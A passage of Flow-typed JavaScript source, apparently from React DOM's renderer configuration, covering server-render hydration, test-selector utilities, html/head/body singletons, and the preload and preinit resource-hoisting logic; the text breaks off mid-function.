hydrateInstance(\n  instance: Instance,\n  type: string,\n  props: Props,\n  hostContext: HostContext,\n  internalInstanceHandle: Object,\n): boolean {\n  precacheFiberNode(internalInstanceHandle, instance);\n  // TODO: Possibly defer this until the commit phase where all the events\n  // get attached.\n  updateFiberProps(instance, props);\n\n  return hydrateProperties(instance, type, props, hostContext);\n}\n\n// Returns a Map of properties that were different on the server.\nexport function diffHydratedPropsForDevWarnings(\n  instance: Instance,\n  type: string,\n  props: Props,\n  hostContext: HostContext,\n): null | $ReadOnly<Props> {\n  return diffHydratedProperties(instance, type, props, hostContext);\n}\n\nexport function validateHydratableTextInstance(\n  text: string,\n  hostContext: HostContext,\n): boolean {\n  if (__DEV__) {\n    const hostContextDev = ((hostContext: any): HostContextDev);\n    const ancestor = hostContextDev.ancestorInfo.current;\n    if (ancestor != null) {\n      return validateTextNesting(\n        text,\n        ancestor.tag,\n        hostContextDev.ancestorInfo.implicitRootScope,\n      );\n    }\n  }\n  return true;\n}\n\nexport function hydrateTextInstance(\n  textInstance: TextInstance,\n  text: string,\n  internalInstanceHandle: Object,\n  parentInstanceProps: null | Props,\n): boolean {\n  precacheFiberNode(internalInstanceHandle, textInstance);\n\n  return hydrateText(textInstance, text, parentInstanceProps);\n}\n\n// Returns the server text if it differs from the client.\nexport function diffHydratedTextForDevWarnings(\n  textInstance: TextInstance,\n  text: string,\n  parentProps: null | Props,\n): null | string {\n  if (\n    parentProps === null ||\n    parentProps[SUPPRESS_HYDRATION_WARNING] !== true\n  ) {\n    return diffHydratedText(textInstance, text);\n  }\n  return null;\n}\n\nexport function hydrateActivityInstance(\n  activityInstance: ActivityInstance,\n  internalInstanceHandle: Object,\n) {\n  precacheFiberNode(internalInstanceHandle, activityInstance);\n}\n\nexport function hydrateSuspenseInstance(\n  suspenseInstance: SuspenseInstance,\n  internalInstanceHandle: Object,\n) {\n  precacheFiberNode(internalInstanceHandle, suspenseInstance);\n}\n\nfunction getNextHydratableInstanceAfterHydrationBoundary(\n  hydrationInstance: SuspenseInstance | ActivityInstance,\n): null | HydratableInstance {\n  let node = hydrationInstance.nextSibling;\n  // Skip past all nodes within this suspense boundary.\n  // There might be nested nodes so we need to keep track of how\n  // deep we are and only break out when we're back on top.\n  let depth = 0;\n  while (node) {\n    if (node.nodeType === COMMENT_NODE) {\n      const data = ((node: any).data: string);\n      if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {\n        if (depth === 0) {\n          return getNextHydratableSibling((node: any));\n        } else {\n          depth--;\n        }\n      } else if (\n        data === SUSPENSE_START_DATA ||\n        data === SUSPENSE_FALLBACK_START_DATA ||\n        data === SUSPENSE_PENDING_START_DATA ||\n        data === SUSPENSE_QUEUED_START_DATA ||\n        data === ACTIVITY_START_DATA\n      ) {\n        depth++;\n      }\n    }\n    node = node.nextSibling;\n  }\n  // TODO: Warn, we didn't find the end comment boundary.\n  return null;\n}\n\nexport function getNextHydratableInstanceAfterActivityInstance(\n  activityInstance: ActivityInstance,\n): null | HydratableInstance {\n  return getNextHydratableInstanceAfterHydrationBoundary(activityInstance);\n}\n\nexport function getNextHydratableInstanceAfterSuspenseInstance(\n  suspenseInstance: SuspenseInstance,\n): null | HydratableInstance {\n  return getNextHydratableInstanceAfterHydrationBoundary(suspenseInstance);\n}\n\n// Returns the SuspenseInstance if this node is a direct child of a\n// SuspenseInstance. I.e. if its previous sibling is a Comment with\n// SUSPENSE_x_START_DATA. Otherwise, null.\nexport function getParentHydrationBoundary(\n  targetInstance: Node,\n): null | SuspenseInstance | ActivityInstance {\n  let node = targetInstance.previousSibling;\n  // Skip past all nodes within this suspense boundary.\n  // There might be nested nodes so we need to keep track of how\n  // deep we are and only break out when we're back on top.\n  let depth = 0;\n  while (node) {\n    if (node.nodeType === COMMENT_NODE) {\n      const data = ((node: any).data: string);\n      if (\n        data === SUSPENSE_START_DATA ||\n        data === SUSPENSE_FALLBACK_START_DATA ||\n        data === SUSPENSE_PENDING_START_DATA ||\n        data === SUSPENSE_QUEUED_START_DATA ||\n        data === ACTIVITY_START_DATA\n      ) {\n        if (depth === 0) {\n          return ((node: any): SuspenseInstance | ActivityInstance);\n        } else {\n          depth--;\n        }\n      } else if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {\n        depth++;\n      }\n    }\n    node = node.previousSibling;\n  }\n  return null;\n}\n\nexport function commitHydratedContainer(container: Container): void {\n  // Retry if any event replaying was blocked on this.\n  retryIfBlockedOn(container);\n}\n\nexport function commitHydratedActivityInstance(\n  activityInstance: ActivityInstance,\n): void {\n  // Retry if any event replaying was blocked on this.\n  retryIfBlockedOn(activityInstance);\n}\n\nexport function commitHydratedSuspenseInstance(\n  suspenseInstance: SuspenseInstance,\n): void {\n  // Retry if any event replaying was blocked on this.\n  retryIfBlockedOn(suspenseInstance);\n}\n\nexport function flushHydrationEvents(): void {\n  if (enableHydrationChangeEvent) {\n    flushEventReplaying();\n  }\n}\n\nexport function shouldDeleteUnhydratedTailInstances(\n  parentType: string,\n): boolean {\n  return parentType !== 'form' && parentType !== 'button';\n}\n\n// -------------------\n//     Test Selectors\n// -------------------\n\nexport const supportsTestSelectors = true;\n\nexport function findFiberRoot(node: Instance): null | FiberRoot {\n  const stack = [node];\n  let index = 0;\n  while (index < stack.length) {\n    const current = stack[index++];\n    if (isContainerMarkedAsRoot(current)) {\n      return ((getInstanceFromNodeDOMTree(current): any): FiberRoot);\n    }\n    stack.push(...current.children);\n  }\n  return null;\n}\n\nexport function getBoundingRect(node: Instance): BoundingRect {\n  const rect = node.getBoundingClientRect();\n  return {\n    x: rect.left,\n    y: rect.top,\n    width: rect.width,\n    height: rect.height,\n  };\n}\n\nexport function matchAccessibilityRole(node: Instance, role: string): boolean {\n  if (hasRole(node, role)) {\n    return true;\n  }\n\n  return false;\n}\n\nexport function getTextContent(fiber: Fiber): string | null {\n  switch (fiber.tag) {\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent:\n      let textContent = '';\n      const childNodes = fiber.stateNode.childNodes;\n      for (let i = 0; i < childNodes.length; i++) {\n        const childNode = childNodes[i];\n        if (childNode.nodeType === Node.TEXT_NODE) {\n          textContent += childNode.textContent;\n        }\n      }\n      return textContent;\n    case HostText:\n      return fiber.stateNode.textContent;\n  }\n\n  return null;\n}\n\nexport function isHiddenSubtree(fiber: Fiber): boolean {\n  return fiber.tag === HostComponent && fiber.memoizedProps.hidden === true;\n}\n\nexport function setFocusIfFocusable(\n  node: Instance,\n  focusOptions?: FocusOptions,\n): boolean {\n  // The logic for determining if an element is focusable is kind of complex,\n  // and since we want to actually change focus anyway- we can just skip it.\n  // Instead we'll just listen for a \"focus\" event to verify that focus was set.\n  //\n  // We could compare the node to document.activeElement after focus,\n  // but this would not handle the case where application code managed focus to automatically blur.\n  const element = ((node: any): HTMLElement);\n\n  // If this element is already the active element, it's focusable and already\n  // focused. Calling .focus() on it would be a no-op (no focus event fires),\n  // so we short-circuit here.\n  if (element.ownerDocument.activeElement === element) {\n    return true;\n  }\n\n  let didFocus = false;\n  const handleFocus = () => {\n    didFocus = true;\n  };\n\n  try {\n    // Listen on the document in the capture phase so we detect focus even when\n    // it lands on a different element than the one we called .focus() on. This\n    // happens with <label> elements (focus delegates to the associated input)\n    // and shadow hosts with delegatesFocus.\n    element.ownerDocument.addEventListener('focus', handleFocus, true);\n    // $FlowFixMe[method-unbinding]\n    (element.focus || HTMLElement.prototype.focus).call(element, focusOptions);\n  } finally {\n    element.ownerDocument.removeEventListener('focus', handleFocus, true);\n  }\n\n  return didFocus;\n}\n\ntype RectRatio = {\n  ratio: number,\n  rect: BoundingRect,\n};\n\nexport function setupIntersectionObserver(\n  targets: Array<Instance>,\n  callback: ObserveVisibleRectsCallback,\n  options?: IntersectionObserverOptions,\n): {\n  disconnect: () => void,\n  observe: (instance: Instance) => void,\n  unobserve: (instance: Instance) => void,\n} {\n  const rectRatioCache: Map<Instance, RectRatio> = new Map();\n  targets.forEach(target => {\n    rectRatioCache.set(target, {\n      rect: getBoundingRect(target),\n      ratio: 0,\n    });\n  });\n\n  const handleIntersection = (entries: Array<IntersectionObserverEntry>) => {\n    entries.forEach(entry => {\n      const {boundingClientRect, intersectionRatio, target} = entry;\n      rectRatioCache.set(target, {\n        rect: {\n          x: boundingClientRect.left,\n          y: boundingClientRect.top,\n          width: boundingClientRect.width,\n          height: boundingClientRect.height,\n        },\n        ratio: intersectionRatio,\n      });\n    });\n\n    callback(Array.from(rectRatioCache.values()));\n  };\n\n  const observer = new IntersectionObserver(handleIntersection, options);\n  targets.forEach(target => {\n    observer.observe((target: any));\n  });\n\n  return {\n    disconnect: () => observer.disconnect(),\n    observe: target => {\n      rectRatioCache.set(target, {\n        rect: getBoundingRect(target),\n        ratio: 0,\n      });\n      observer.observe((target: any));\n    },\n    unobserve: target => {\n      rectRatioCache.delete(target);\n      observer.unobserve((target: any));\n    },\n  };\n}\n\nexport function requestPostPaintCallback(callback: (time: number) => void) {\n  localRequestAnimationFrame(() => {\n    localRequestAnimationFrame(time => callback(time));\n  });\n}\n\n// -------------------\n//     Singletons\n// -------------------\n\nexport const supportsSingletons = true;\n\nexport function isHostSingletonType(type: string): boolean {\n  return type === 'html' || type === 'head' || type === 'body';\n}\n\nexport function resolveSingletonInstance(\n  type: string,\n  props: Props,\n  rootContainerInstance: Container,\n  hostContext: HostContext,\n  validateDOMNestingDev: boolean,\n): Instance {\n  if (__DEV__) {\n    const hostContextDev = ((hostContext: any): HostContextDev);\n    if (validateDOMNestingDev) {\n      validateDOMNesting(type, hostContextDev.ancestorInfo);\n    }\n  }\n  const ownerDocument = getOwnerDocumentFromRootContainer(\n    rootContainerInstance,\n  );\n  switch (type) {\n    case 'html': {\n      const documentElement = ownerDocument.documentElement;\n      if (!documentElement) {\n        throw new Error(\n          'React expected an <html> element (document.documentElement) to exist in the Document but one was' +\n            ' not found. React never removes the documentElement for any Document it renders into so' +\n            ' the cause is likely in some other script running on this page.',\n        );\n      }\n      return documentElement;\n    }\n    case 'head': {\n      const head = ownerDocument.head;\n      if (!head) {\n        throw new Error(\n          'React expected a <head> element (document.head) to exist in the Document but one was' +\n            ' not found. React never removes the head for any Document it renders into so' +\n            ' the cause is likely in some other script running on this page.',\n        );\n      }\n      return head;\n    }\n    case 'body': {\n      const body = ownerDocument.body;\n      if (!body) {\n        throw new Error(\n          'React expected a <body> element (document.body) to exist in the Document but one was' +\n            ' not found. React never removes the body for any Document it renders into so' +\n            ' the cause is likely in some other script running on this page.',\n        );\n      }\n      return body;\n    }\n    default: {\n      throw new Error(\n        'resolveSingletonInstance was called with an element type that is not supported. This is a bug in React.',\n      );\n    }\n  }\n}\n\nexport function acquireSingletonInstance(\n  type: string,\n  props: Props,\n  instance: Instance,\n  internalInstanceHandle: Object,\n): void {\n  if (__DEV__) {\n    if (\n      // If this instance is the container then it is invalid to acquire it as a singleton however\n      // the DOM nesting validation will already warn for this and the message below isn't semantically\n      // aligned with the actual fix you need to make so we omit the warning in this case\n      !isContainerMarkedAsRoot(instance) &&\n      // If this instance isn't the root but is currently owned by a different HostSingleton instance then\n      // we we need to warn that you are rendering more than one singleton at a time.\n      getInstanceFromNodeDOMTree(instance)\n    ) {\n      const tagName = instance.tagName.toLowerCase();\n      console.error(\n        'You are mounting a new %s component when a previous one has not first unmounted. It is an' +\n          ' error to render more than one %s component at a time and attributes and children of these' +\n          ' components will likely fail in unpredictable ways. Please only render a single instance of' +\n          ' <%s> and if you need to mount a new one, ensure any previous ones have unmounted first.',\n        tagName,\n        tagName,\n        tagName,\n      );\n    }\n    switch (type) {\n      case 'html':\n      case 'head':\n      case 'body': {\n        break;\n      }\n      default: {\n        console.error(\n          'acquireSingletonInstance was called with an element type that is not supported. This is a bug in React.',\n        );\n      }\n    }\n  }\n\n  const attributes = instance.attributes;\n  while (attributes.length) {\n    instance.removeAttributeNode(attributes[0]);\n  }\n\n  setInitialProperties(instance, type, props);\n  precacheFiberNode(internalInstanceHandle, instance);\n  updateFiberProps(instance, props);\n}\n\nexport function releaseSingletonInstance(instance: Instance): void {\n  const attributes = instance.attributes;\n  while (attributes.length) {\n    instance.removeAttributeNode(attributes[0]);\n  }\n  detachDeletedInstance(instance);\n}\n\n// -------------------\n//     Resources\n// -------------------\n\nexport const supportsResources = true;\n\ntype HoistableTagType = 'link' | 'meta' | 'title';\ntype TResource<\n  T: 'stylesheet' | 'style' | 'script' | 'void',\n  S: null | {...},\n> = {\n  type: T,\n  instance: null | Instance,\n  count: number,\n  state: S,\n};\ntype StylesheetResource = TResource<'stylesheet', StylesheetState>;\ntype StyleTagResource = TResource<'style', null>;\ntype StyleResource = StyleTagResource | StylesheetResource;\ntype ScriptResource = TResource<'script', null>;\ntype VoidResource = TResource<'void', null>;\nexport type Resource = StyleResource | ScriptResource | VoidResource;\n\ntype LoadingState = number;\nconst NotLoaded = /*       */ 0b000;\nconst Loaded = /*          */ 0b001;\nconst Errored = /*         */ 0b010;\nconst Settled = /*         */ 0b011;\nconst Inserted = /*        */ 0b100;\n\ntype StylesheetState = {\n  loading: LoadingState,\n  preload: null | HTMLLinkElement,\n};\n\ntype StyleTagProps = {\n  'data-href': string,\n  'data-precedence': string,\n  [string]: mixed,\n};\ntype StylesheetProps = {\n  rel: 'stylesheet',\n  href: string,\n  'data-precedence': string,\n  [string]: mixed,\n};\n\ntype ScriptProps = {\n  src: string,\n  async: true,\n  [string]: mixed,\n};\n\ntype PreloadProps = {\n  rel: 'preload',\n  href: ?string,\n  [string]: mixed,\n};\ntype PreloadModuleProps = {\n  rel: 'modulepreload',\n  href: string,\n  [string]: mixed,\n};\n\nexport type RootResources = {\n  hoistableStyles: Map<string, StyleResource>,\n  hoistableScripts: Map<string, ScriptResource>,\n};\n\nexport function prepareToCommitHoistables() {\n  tagCaches = null;\n}\n\n// global collections of Resources\nconst preloadPropsMap: Map<string, PreloadProps | PreloadModuleProps> =\n  new Map();\nconst preconnectsSet: Set<string> = new Set();\n\nexport type HoistableRoot = Document | ShadowRoot;\n\n// getRootNode is missing from IE and old jsdom versions\nexport function getHoistableRoot(container: Container): HoistableRoot {\n  // $FlowFixMe[method-unbinding]\n  return typeof container.getRootNode === 'function'\n    ? /* $FlowFixMe[incompatible-cast] Flow types this as returning a `Node`,\n       * but it's either a `Document` or `ShadowRoot`. */\n      (container.getRootNode(): Document | ShadowRoot)\n    : container.nodeType === DOCUMENT_NODE\n      ? // $FlowFixMe[incompatible-cast] We've constrained this to be a Document which satisfies the return type\n        (container: Document)\n      : container.ownerDocument;\n}\n\nfunction getCurrentResourceRoot(): null | HoistableRoot {\n  const currentContainer = getCurrentRootHostContainer();\n  return currentContainer ? getHoistableRoot(currentContainer) : null;\n}\n\nfunction getDocumentFromRoot(root: HoistableRoot): Document {\n  return root.ownerDocument || root;\n}\n\nconst previousDispatcher =\n  ReactDOMSharedInternals.d; /* ReactDOMCurrentDispatcher */\nReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */ = {\n  f /* flushSyncWork */: disableLegacyMode\n    ? flushSyncWork\n    : previousDispatcher.f /* flushSyncWork */,\n  r: requestFormReset,\n  D /* prefetchDNS */: prefetchDNS,\n  C /* preconnect */: preconnect,\n  L /* preload */: preload,\n  m /* preloadModule */: preloadModule,\n  X /* preinitScript */: preinitScript,\n  S /* preinitStyle */: preinitStyle,\n  M /* preinitModuleScript */: preinitModuleScript,\n};\n\nfunction flushSyncWork() {\n  if (disableLegacyMode) {\n    const previousWasRendering = previousDispatcher.f(); /* flushSyncWork */\n    const wasRendering = flushSyncWorkOnAllRoots();\n    // Since multiple dispatchers can flush sync work during a single flushSync call\n    // we need to return true if any of them were rendering.\n    return previousWasRendering || wasRendering;\n  } else {\n    throw new Error(\n      'flushSyncWork should not be called from builds that support legacy mode. This is a bug in React.',\n    );\n  }\n}\n\nfunction requestFormReset(form: HTMLFormElement) {\n  const formInst = getInstanceFromNodeDOMTree(form);\n  if (\n    formInst !== null &&\n    formInst.tag === HostComponent &&\n    formInst.type === 'form'\n  ) {\n    requestFormResetOnFiber(formInst);\n  } else {\n    // This form was either not rendered by this React renderer (or it's an\n    // invalid type). Try the next one.\n    //\n    // The last implementation in the sequence will throw an error.\n    previousDispatcher.r(/* requestFormReset */ form);\n  }\n}\n\n// We expect this to get inlined. It is a function mostly to communicate the special nature of\n// how we resolve the HoistableRoot for ReactDOM.pre*() methods. Because we support calling\n// these methods outside of render there is no way to know which Document or ShadowRoot is 'scoped'\n// and so we have to fall back to something universal. Currently we just refer to the global document.\n// This is notable because nowhere else in ReactDOM do we actually reference the global document or window\n// because we may be rendering inside an iframe.\nconst globalDocument = typeof document === 'undefined' ? null : document;\nfunction getGlobalDocument(): ?Document {\n  return globalDocument;\n}\n\nfunction preconnectAs(\n  rel: 'preconnect' | 'dns-prefetch',\n  href: string,\n  crossOrigin: ?CrossOriginEnum,\n) {\n  const ownerDocument = getGlobalDocument();\n  if (ownerDocument && typeof href === 'string' && href) {\n    const limitedEscapedHref =\n      escapeSelectorAttributeValueInsideDoubleQuotes(href);\n    let key = `link[rel=\"${rel}\"][href=\"${limitedEscapedHref}\"]`;\n    if (typeof crossOrigin === 'string') {\n      key += `[crossorigin=\"${crossOrigin}\"]`;\n    }\n    if (!preconnectsSet.has(key)) {\n      preconnectsSet.add(key);\n\n      const preconnectProps = {rel, crossOrigin, href};\n      if (null === ownerDocument.querySelector(key)) {\n        const instance = ownerDocument.createElement('link');\n        setInitialProperties(instance, 'link', preconnectProps);\n        markNodeAsHoistable(instance);\n        (ownerDocument.head: any).appendChild(instance);\n      }\n    }\n  }\n}\n\nfunction prefetchDNS(href: string) {\n  previousDispatcher.D(/* prefetchDNS */ href);\n  preconnectAs('dns-prefetch', href, null);\n}\n\nfunction preconnect(href: string, crossOrigin?: ?CrossOriginEnum) {\n  previousDispatcher.C(/* preconnect */ href, crossOrigin);\n  preconnectAs('preconnect', href, crossOrigin);\n}\n\nfunction preload(href: string, as: string, options?: ?PreloadImplOptions) {\n  previousDispatcher.L(/* preload */ href, as, options);\n  const ownerDocument = getGlobalDocument();\n  if (ownerDocument && href && as) {\n    let preloadSelector = `link[rel=\"preload\"][as=\"${escapeSelectorAttributeValueInsideDoubleQuotes(\n      as,\n    )}\"]`;\n    if (as === 'image') {\n      if (options && options.imageSrcSet) {\n        preloadSelector += `[imagesrcset=\"${escapeSelectorAttributeValueInsideDoubleQuotes(\n          options.imageSrcSet,\n        )}\"]`;\n        if (typeof options.imageSizes === 'string') {\n          preloadSelector += `[imagesizes=\"${escapeSelectorAttributeValueInsideDoubleQuotes(\n            options.imageSizes,\n          )}\"]`;\n        }\n      } else {\n        preloadSelector += `[href=\"${escapeSelectorAttributeValueInsideDoubleQuotes(\n          href,\n        )}\"]`;\n      }\n    } else {\n      preloadSelector += `[href=\"${escapeSelectorAttributeValueInsideDoubleQuotes(\n        href,\n      )}\"]`;\n    }\n    // Some preloads are keyed under their selector. This happens when the preload is for\n    // an arbitrary type. Other preloads are keyed under the resource key they represent a preload for.\n    // Here we figure out which key to use to determine if we have a preload already.\n    let key = preloadSelector;\n    switch (as) {\n      case 'style':\n        key = getStyleKey(href);\n        break;\n      case 'script':\n        key = getScriptKey(href);\n        break;\n    }\n    if (!preloadPropsMap.has(key)) {\n      const preloadProps = Object.assign(\n        ({\n          rel: 'preload',\n          // There is a bug in Safari where imageSrcSet is not respected on preload links\n          // so we omit the href here if we have imageSrcSet b/c safari will load the wrong image.\n          // This harms older browers that do not support imageSrcSet by making their preloads not work\n          // but this population is shrinking fast and is already small so we accept this tradeoff.\n          href:\n            as === 'image' && options && options.imageSrcSet ? undefined : href,\n          as,\n        }: PreloadProps),\n        options,\n      );\n      preloadPropsMap.set(key, preloadProps);\n\n      if (null === ownerDocument.querySelector(preloadSelector)) {\n        if (\n          as === 'style' &&\n          ownerDocument.querySelector(getStylesheetSelectorFromKey(key))\n        ) {\n          // We already have a stylesheet for this key. We don't need to preload it.\n          return;\n        } else if (\n          as === 'script' &&\n          ownerDocument.querySelector(getScriptSelectorFromKey(key))\n        ) {\n          // We already have a stylesheet for this key. We don't need to preload it.\n          return;\n        }\n        const instance = ownerDocument.createElement('link');\n        setInitialProperties(instance, 'link', preloadProps);\n        markNodeAsHoistable(instance);\n        (ownerDocument.head: any).appendChild(instance);\n      }\n    }\n  }\n}\n\nfunction preloadModule(href: string, options?: ?PreloadModuleImplOptions) {\n  previousDispatcher.m(/* preloadModule */ href, options);\n  const ownerDocument = getGlobalDocument();\n  if (ownerDocument && href) {\n    const as =\n      options && typeof options.as === 'string' ? options.as : 'script';\n    const preloadSelector = `link[rel=\"modulepreload\"][as=\"${escapeSelectorAttributeValueInsideDoubleQuotes(\n      as,\n    )}\"][href=\"${escapeSelectorAttributeValueInsideDoubleQuotes(href)}\"]`;\n    // Some preloads are keyed under their selector. This happens when the preload is for\n    // an arbitrary type. Other preloads are keyed under the resource key they represent a preload for.\n    // Here we figure out which key to use to determine if we have a preload already.\n    let key = preloadSelector;\n    switch (as) {\n      case 'audioworklet':\n      case 'paintworklet':\n      case 'serviceworker':\n      case 'sharedworker':\n      case 'worker':\n      case 'script': {\n        key = getScriptKey(href);\n        break;\n      }\n    }\n\n    if (!preloadPropsMap.has(key)) {\n      const props: PreloadModuleProps = Object.assign(\n        ({\n          rel: 'modulepreload',\n          href,\n        }: PreloadModuleProps),\n        options,\n      );\n      preloadPropsMap.set(key, props);\n\n      if (null === ownerDocument.querySelector(preloadSelector)) {\n        switch (as) {\n          case 'audioworklet':\n          case 'paintworklet':\n          case 'serviceworker':\n          case 'sharedworker':\n          case 'worker':\n          case 'script': {\n            if (ownerDocument.querySelector(getScriptSelectorFromKey(key))) {\n              return;\n            }\n          }\n        }\n        const instance = ownerDocument.createElement('link');\n        setInitialProperties(instance, 'link', props);\n        markNodeAsHoistable(instance);\n        (ownerDocument.head: any).appendChild(instance);\n      }\n    }\n  }\n}\n\nfunction preinitStyle(\n  href: string,\n  precedence: ?string,\n  options?: ?PreinitStyleOptions,\n) {\n  previousDispatcher.S(/* preinitStyle */ href, precedence, options);\n\n  const ownerDocument = getGlobalDocument();\n  if (ownerDocument && href) {\n    const styles = getResourcesFromRoot(ownerDocument).hoistableStyles;\n\n    const key = getStyleKey(href);\n    precedence = precedence || 'default';\n\n    // Check if this resource already exists\n    let resource = styles.get(key);\n    if (resource) {\n      // We can early return. The resource exists and there is nothing\n      // more to do\n      return;\n    }\n\n    const state = {\n      loading: NotLoaded,\n      preload: null,\n    };\n\n    // Attempt to hydrate instance from DOM\n    let instance: null | Instance = ownerDocument.querySelector(\n      getStylesheetSelectorFromKey(key),\n    );\n    if (instance) {\n      state.loading = Loaded | Inserted;\n    } else {\n      // Construct a new instance and insert it\n      const stylesheetProps = Object.assign(\n        ({\n          rel: 'stylesheet',\n          href,\n          'data-precedence': precedence,\n        }: StylesheetProps),\n        options,\n      );\n      const preloadProps = preloadPropsMap.get(key);\n      if (preloadProps) {\n        adoptPreloadPropsForStylesheet(stylesheetProps, preloadProps);\n      }\n      const link = (instance = ownerDocument.createElement('link'));\n      markNodeAsHoistable(link);\n      setInitialProperties(link, 'link', stylesheetProps);\n\n      (link: any)._p = new Promise((resolve, reject) => {\n        link.onload = resolve;\n        link.onerror = reject;\n      });\n      link.addEventListener('load', () => {\n        state.loading |= Loaded;\n      });\n      link.addEventListener('error', () => {\n        state.loading |= Errored;\n      });\n\n      state.loading |= Inserted;\n      insertStylesheet(instance, precedence, ownerDocument);\n    }\n\n    // Construct a Resource and cache it\n    resource = {\n      type: 'stylesheet',\n      instance,\n      count: 1,\n      state,\n    };\n    styles.set(key, resource);\n    return;\n  }\n}\n\nfunction preinitScript(src: string, options?: ?PreinitScriptOptions) {\n  previousDispatcher.X(/* preinitScript */ src, options);\n\n  const ownerDocument = getGlobalDocument();\n  if (ownerDocument && src) {\n    const scripts = getResourcesFromRoot(ownerDocument).hoistableScripts;\n\n    const key = getScriptKey(src);\n\n    // Check if this resource already exists\n    let resource = scripts.get(key);\n    if (resource) {\n      // We can early return. The resource exists and there is nothing\n      // more to do\n      return;\n    }\n\n    // Attempt to hydrate instance from DOM\n    let instance: null | Instance = ownerDocument.querySelector(\n      getScriptSelectorFromKey(key),\n    );\n    if (!instance) {\n      // Construct a new instance and insert it\n      const scriptProps = Object.assign(\n        ({\n          src,\n          async: true,\n        }: ScriptProps),\n        options,\n      );\n      // Adopt certain preload props\n      const preloadProps = preloadPropsMap.get(key);\n      if (preloadProps) {\n        adoptPreloadPropsForScript(scriptProps, preloadProps);\n      }\n      instance = ownerDocument.createElement('script');\n      markNodeAsHoistable(instance);\n      setInitialProperties(instance, 'link', scriptProps);\n      (ownerDocument.head: any).appendChild(instance);\n    }\n\n    // Construct a Resource and cache it\n    resource = {\n      type: 'script',\n      instance,\n      count: 1,\n      state: null,\n    };\n    scripts.set(key, resource);\n    return;\n  }\n}\n\nfunction preinitModuleScript(\n  src: string,\n  options?: ?PreinitModuleScriptOptions,\n) {\n  previousDispatcher.M(/* preinitModuleScript */ src, options);\n\n  const ownerDocument = getGlobalDocument();\n  if (ownerDocument && src) {\n    const scripts = getResourcesFromRoot(ownerDocument).hoistableScripts;\n\n    const key = getScriptKey(src);\n\n    // Check if this resource already exists\n    let resource = scripts.get(key);\n    if (resource) {\n      // We can early return. The resource exists and there is nothing\n      // more to do\n      return;\n    }\n\n    // Attempt to hydrate instance from DOM\n    let instance: null | Instance = ownerDocument.querySelector(\n      getScriptSelectorFromKey(key),\n    );\n    if (!instance) {\n      // Construct a new instance and insert it\n      const scriptProps = Object.assign(\n        ({\n          src,\n          async: true,\n          type: 'module',\n        }: ScriptProps),\n        options,\n      );\n      // Adopt certain preload props\n      const preloadProps = preloadPropsMap.get(key);\n      if (preloadProps) {\n        adoptPreloadPropsForScript(scriptProps, preloadProps);\n      }\n      instance = ownerDocument.createElement('script');\n      markNodeAsHoistable(instance);\n      setInitialProperties(instance, 'link', scriptProps);\n      (ownerDocument.head: any).appendChild(instance);\n    }\n\n    // Construct a Resource and cache it\n    resource = {\n      type: 'script',\n      instance,\n      count: 1,\n      state: null,\n    };\n    scripts.set(key, resource);\n    return;\n  }\n}\n\ntype StyleTagQualifyingProps = {\n  href: string,\n  precedence: string,\n  [string]: mixed,\n};\n\ntype StylesheetQualifyingProps = {\n  rel: 'stylesheet',\n  href: string,\n  precedence: string,\n  [string]: mixed,\n};\n\n// This function is called in begin work and we should always have a currentDocument set\nexport function getResource(\n  type: string,\n  currentProps: any,\n  pendingProps: any,\n  currentResource: null | Resource,\n): null | Resource {\n  const resourceRoot = getCurrentResourceRoot();\n  if (!resourceRoot) {\n    throw new Error(\n      '\"resourceRoot\" was expected to exist. This is a bug in React.',\n    );\n  }\n  switch (type) {\n    case 'meta':\n    case 'title': {\n      return null;\n    }\n    case 'style': {\n      if (\n        typeof pendingProps.precedence === 'string' &&\n        typeof pendingProps.href === 'string'\n      ) {\n        const key = getStyleKey(pendingProps.href);\n        const styles = getResourcesFromRoot(resourceRoot).hoistableStyles;\n        let resource = styles.get(key);\n        if (!resource) {\n          resource = {\n            type: 'style',\n            instance: null,\n            count: 0,\n            state: null,\n          };\n          styles.set(key, resource);\n        }\n        return resource;\n      }\n      return {\n        type: 'void',\n        instance: null,\n        count: 0,\n        state: null,\n      };\n    }\n    case 'link': {\n      if (\n        pendingProps.rel === 'stylesheet' &&\n        typeof pendingProps.href === 'string' &&\n        typeof pendingProps.precedence === 'string'\n      ) {\n        const qualifiedProps: StylesheetQualifyingProps = pendingProps;\n        const key = getStyleKey(qualifiedProps.href);\n\n        const styles = getResourcesFromRoot(resourceRoot).hoistableStyles;\n\n        let resource = styles.get(key);\n        if (!resource) {\n          // We asserted this above but Flow can't figure out that the type satisfies\n          const ownerDocument = getDocumentFromRoot(resourceRoot);\n          resource = ({\n            type: 'stylesheet',\n            instance: null,\n            count: 0,\n            state: {\n              loading: NotLoaded,\n              preload: null,\n            },\n          }: StylesheetResource);\n          styles.set(key, resource);\n          const instance = ownerDocument.querySelector(\n            getStylesheetSelectorFromKey(key),\n          );\n          if (instance) {\n            const loadingState: ?Promise<mixed> = (instance: any)._p;\n            if (loadingState) {\n              // This instance is inserted as part of a boundary reveal and is not yet\n              // loaded\n            } else {\n              // This instance is already loaded\n              resource.instance = instance;\n              resource.state.loading = Loaded | Inserted;\n            }\n          }\n\n          if (!preloadPropsMap.has(key)) {\n            const preloadProps = preloadPropsFromStylesheet(qualifiedProps);\n            preloadPropsMap.set(key, preloadProps);\n            if (!instance) {\n              preloadStylesheet(\n                ownerDocument,\n                key,\n                preloadProps,\n                resource.state,\n              );\n            }\n          }\n        }\n        if (currentProps && currentResource === null) {\n          // This node was previously an Instance type and is becoming a Resource type\n          // For now we error because we don't support flavor changes\n          let diff = '';\n          if (__DEV__) {\n            diff = `\n\n  - ${describeLinkForResourceErrorDEV(currentProps)}\n  + ${describeLinkForResourceErrorDEV(pendingProps)}`;\n          }\n          throw new Error(\n            'Expected <link> not to update to be updated to a stylesheet with precedence.' +\n              ' Check the `rel`, `href`, and `precedence` props of this component.' +\n              ' Alternatively, check whether two different <link> components render in the same slot or share the same key.' +\n              diff,\n          );\n        }\n        return resource;\n      } else {\n        if (currentProps && currentResource !== null) {\n          // This node was previously a Resource type and is becoming an Instance type\n          // For now we error because we don't support flavor changes\n          let diff = '';\n          if (__DEV__) {\n            diff = `\n\n  - ${describeLinkForResourceErrorDEV(currentProps)}\n  + ${describeLinkForResourceErrorDEV(pendingProps)}`;\n          }\n          throw new Error(\n            'Expected stylesheet with precedence to not be updated to a different kind of <link>.' +\n              ' Check the `rel`, `href`, and `precedence` props of this component.' +\n              ' Alternatively, check whether 